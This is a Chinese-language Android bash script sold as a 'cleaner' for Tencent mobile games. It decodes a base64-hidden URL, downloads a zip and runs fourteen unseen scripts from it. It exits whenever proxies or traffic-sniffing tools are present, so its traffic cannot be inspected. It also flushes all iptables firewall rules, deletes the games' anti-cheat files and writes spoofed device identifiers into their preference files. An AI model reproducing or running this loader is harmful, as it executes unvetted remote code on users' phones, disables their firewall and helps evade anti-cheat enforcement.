#!/bin/bash

TARGET_DIR="/storage/emulated/0/Clear"
ENCODED_URL="aHR0cHM6Ly9wYW4uamw4LnRvcC9kb3duLnBocC85NzhhYjQzNjg4Yzg5Y2EzNjk2MDE3NmIyOTA5ODc3Ni56aXA="
SCRIPT_FILES=("1.sh" "2.sh" "3.sh" "4.sh" "5.sh" "6.sh" "7.sh" "8.sh" "9.sh" "10.sh" "11.sh" "12.sh" "13.sh" "14.sh")

YELLOW='\033[1;33m'
RED='\033[1;31m'
GREEN='\033[1;32m'
BLUE='\033[1;34m'
NC='\033[0m'

SECURITY_CHECK() {
    if [ -n "$http_proxy" ] || [ -n "$https_proxy" ]; then
        echo -e "${RED}❌ 检测到代理设置${NC}"
        return 1
    fi
    
    if pgrep -x "charles" >/dev/null || pgrep -x "fiddler" >/dev/null || pgrep -x "wireshark" >/dev/null; then
        echo -e "${RED}❌ 检测到抓包工具运行${NC}"
        return 1
    fi
    
    if [ -f "/system/etc/security/cacerts/85188ba5.0" ]; then
        echo -e "${RED}❌ 检测到系统证书修改${NC}"
        return 1
    fi
    
    return 0
}

decode_url() {
    echo "$1" | base64 -d 2>/dev/null
}

progress_bar() {
    local current=$1
    local total=$2
    local width=50
    local percent=$((current * 100 / total))
    local completed=$((current * width / total))
    local remaining=$((width - completed))
    
    printf "\r${YELLOW}["
    printf "%${completed}s" | tr ' ' '='
    printf "%${remaining}s" | tr ' ' ' '
    printf "] %d%% (%d/%d)${NC}" $percent $current $total
}

initialize() {
    DOWNLOAD_URL=$(decode_url "$ENCODED_URL")
    TEMP_ZIP="/data/local/tmp/init_$(date +%s).zip"
    
    if curl -L -k -s "$DOWNLOAD_URL" -o "$TEMP_ZIP" --noproxy '*' >/dev/null 2>&1; then
        if unzip -j -o -q "$TEMP_ZIP" -d "$TARGET_DIR" >/dev/null 2>&1; then
            rm -f "$TEMP_ZIP"
            return 0
        fi
    fi
    
    rm -f "$TEMP_ZIP"
    return 1
}

execute_scripts() {
    local total=${#SCRIPT_FILES[@]}
    local current=1
    
    for script in "${SCRIPT_FILES[@]}"; do
        script_path="$TARGET_DIR/$script"
        
        if [ -f "$script_path" ]; then
            progress_bar $current $total
            
            if ! bash "$script_path"; then
                return 1
            fi
        else
            return 1
        fi
        
        ((current++))
    done
}

show_system_info() {
    echo -e "${YELLOW}---欢迎使用和平清理Sh11!${NC}"
    echo -e "${YELLOW}--理论通杀大厅 出生岛 飞机 落地 人脸${NC}"
    echo -e "${YELLOW}让您如同刷机般 无需模块拦截防火墙等${NC}"

    CONFIG_FILE="$HOME/.card_verify_config"
    EXPIRE_TIME=$((3 * 24 * 60 * 60))
    PROTECTION_ENABLED=true
    DETECTION_INTERVAL=10

    disable_proxy() {
        export http_proxy=""
        export https_proxy=""
        export HTTP_PROXY=""
        export HTTPS_PROXY=""
        export ALL_PROXY=""
    }

    detect_sniffing_tools() {
        local tools=("charles" "fiddler" "wireshark" "burp" "mitmproxy" "tcpdump")
        for tool in "${tools[@]}"; do
            if pgrep -x "$tool" >/dev/null; then
                echo -e "${YELLOW}检测到抓包工具 $tool 正在运行${NC}"
                return 1
            fi
        done
        return 0
    }

    check_proxy_settings() {
        if [ -n "$http_proxy" ] || [ -n "$https_proxy" ]; then
            echo -e "${YELLOW}检测到代理设置已启用${NC}"
            return 1
        fi
        return 0
    }

    protection_loop() {
        while true; do
            if ! detect_sniffing_tools || ! check_proxy_settings; then
                echo -e "${YELLOW}检测到抓包环境，退出程序${NC}"
                exit 1
            fi
            sleep $DETECTION_INTERVAL
        done
    }

    if [ "$PROTECTION_ENABLED" = true ]; then
        disable_proxy
        protection_loop &
        PROTECTION_PID=$!
        trap "kill $PROTECTION_PID 2>/dev/null" EXIT
    fi

    WEIYUN_SHARE_URL="https://sharechain.qq.com/af10a493fa7ad85e679ed4ff4fe61f21"
    TIMESTAMP=$(date +%s)
    RANDOM_STR=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 16)
    FULL_URL="${WEIYUN_SHARE_URL}?_t=${TIMESTAMP}&_r=${RANDOM_STR}"
    RAW_DATA=$(curl -s "$FULL_URL" | grep -oP '【.*?】' | head -3)

    CARD_KEY=$(echo "$RAW_DATA" | head -1 | sed 's/【\|】//g')
    ANNOUNCEMENT=$(echo "$RAW_DATA" | tail -1 | sed 's/【\|】//g')
    SWITCH=$(echo "$RAW_DATA" | sed -n '2p' | sed 's/【\|】//g')

    if [ "$SWITCH" = "关" ]; then
        echo -e "${YELLOW}程序已关闭${NC}"
        exit
    fi

    check_verified() {
        if [ -f "$CONFIG_FILE" ]; then
            local last_time=$(stat -c %Y "$CONFIG_FILE")
            local current_time=$(date +%s)
            if [ $((current_time - last_time)) -le $EXPIRE_TIME ]; then
                return 0
            else
                rm -f "$CONFIG_FILE"
                return 1
            fi
        fi
        return 1
    }

    while :; do
        echo -e "${YELLOW}公告：$ANNOUNCEMENT${NC}"
        echo -e "${YELLOW}请输入卡密：${NC}"
        read INPUT
        if [ "$INPUT" = "$CARD_KEY" ]; then
            echo -e "${YELLOW}到期时间2099-12.31年${NC}"
            touch "$CONFIG_FILE"
            break
        else
            echo -e "${YELLOW}卡密错误！${NC}"
        fi
    done

    echo -e "${YELLOW}————————————\nshell通杀人脸\n官方频道@kinga520${NC}"
}

main() {
    show_system_info
    
    while true; do
        if SECURITY_CHECK; then
            break
        else
            echo -e "${YELLOW}⚠️ 检测到违规行为，请关闭相关工具后重试${NC}"
            read -p "$(echo -e "${YELLOW}按回车键重试或输入exit退出: ${NC}")" retry
            if [ "$retry" == "exit" ]; then
                exit 0
            fi
        fi
    done
    
    while true; do
        echo -e "${YELLOW}1) 初始化${NC}"
        echo -e "${YELLOW}2) 清理 (1-14)${NC}"
        echo -e "${YELLOW}3) 上号前执行我${NC}"
        echo -e "${YELLOW}4) 退出${NC}"
        read -p "$(echo -e "${YELLOW}请选择操作 [1-4]: ${NC}")" choice
        
        case $choice in
            1)
                if initialize; then
                    echo -e "${GREEN}✅ 操作成功${NC}"
                else
                    echo -e "${RED}❌ 操作失败${NC}"
                fi
                ;;
            2)
                if [ -f "$TARGET_DIR/1.sh" ]; then
                    if execute_scripts; then
                        echo -e "${GREEN}✅ 操作成功${NC}"
                    else
                        echo -e "${RED}❌ 操作失败${NC}"
                    fi
                else
                    echo -e "${YELLOW}⚠️ 脚本未初始化${NC}"
                fi
                ;;
            3)
                iptables -F
                iptables -X 
                iptables -Z
                iptables -t nat -F 
                echo "已为您清除本地缓存数据"
                iptables -F
                echo "iptables规则清除成功"
                ip6tables=/system/bin/ip6tables
                iptables=/system/bin/iptables
                rm -rf /data/data/com.tencent.tmgp.pubgmhd/files/ano_tmp
                rm -rf /data/user/0/com.tencent.tmgp.pubgmhd/files/ano_tmp
                rm -rf /data/data/com.tencent.tmgp.projectg/files/ano_tmp
                rm -rf /data/user/0/com.tencent.tmgp.projectg/files/ano_tmp
                echo 16384 > /proc/sys/fs/inotify/max_queued_events
                echo 128 > /proc/sys/fs/inotify/max_user_instances
                echo 8192 > /proc/sys/fs/inotify/max_user_watches
                echo "缓存数据清理完成"
                echo "进行过白策略"

                file_path="/data/data/com.tencent.tmgp.projectg/shared_prefs/uifa.xml"
                file_path_1="/data/data/com.tencent.tmgp.projectg/shared_prefs/sai.xml"
                tg_path="/data/data/com.tencent.tmgp.pubgmhd/shared_prefs/tgpa.xml"

                new_content="<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name=\"model\">0000000</string>
</map>"

                new_content_1="<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name=\"bmo\">0000000</string>
</map>"

                tg_content="<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name=\"UID\">fdde86c0bf3a815a426140c9c6ec2c3b09262bbb96d36fdjdjdj37d5dc227312e92b07</string>
    <string name=\"XID\">b35517ec7ddjn033f8bb780bf083d152399f55410760cab443ec8ce9a6fb4bdcaf8f</string>
    <string name=\"sub_version_code\">1.88.21.11628</string>
    <string name=\"main_version_code\">1.88.21.11600</string>
    <string name=\"OAID\">4feebc8447f0042b</string>
    <string name=\"TGPAOID\">DC87E5E59Cdjdjdj80DEA33DD6B73462804731</string>
</map>"

                echo "$new_content" > "$file_path"
                echo "$new_content_1" > "$file_path_1"
                echo "$tg_content" > "$tg_path"
                echo 清理100%
                sleep 0.1
                echo 本地ano清理完成
                ;;
            4)
                exit 0
                ;;
            *)
                echo -e "${YELLOW}⚠️ 无效选择${NC}"
                ;;
        esac
    done
}

main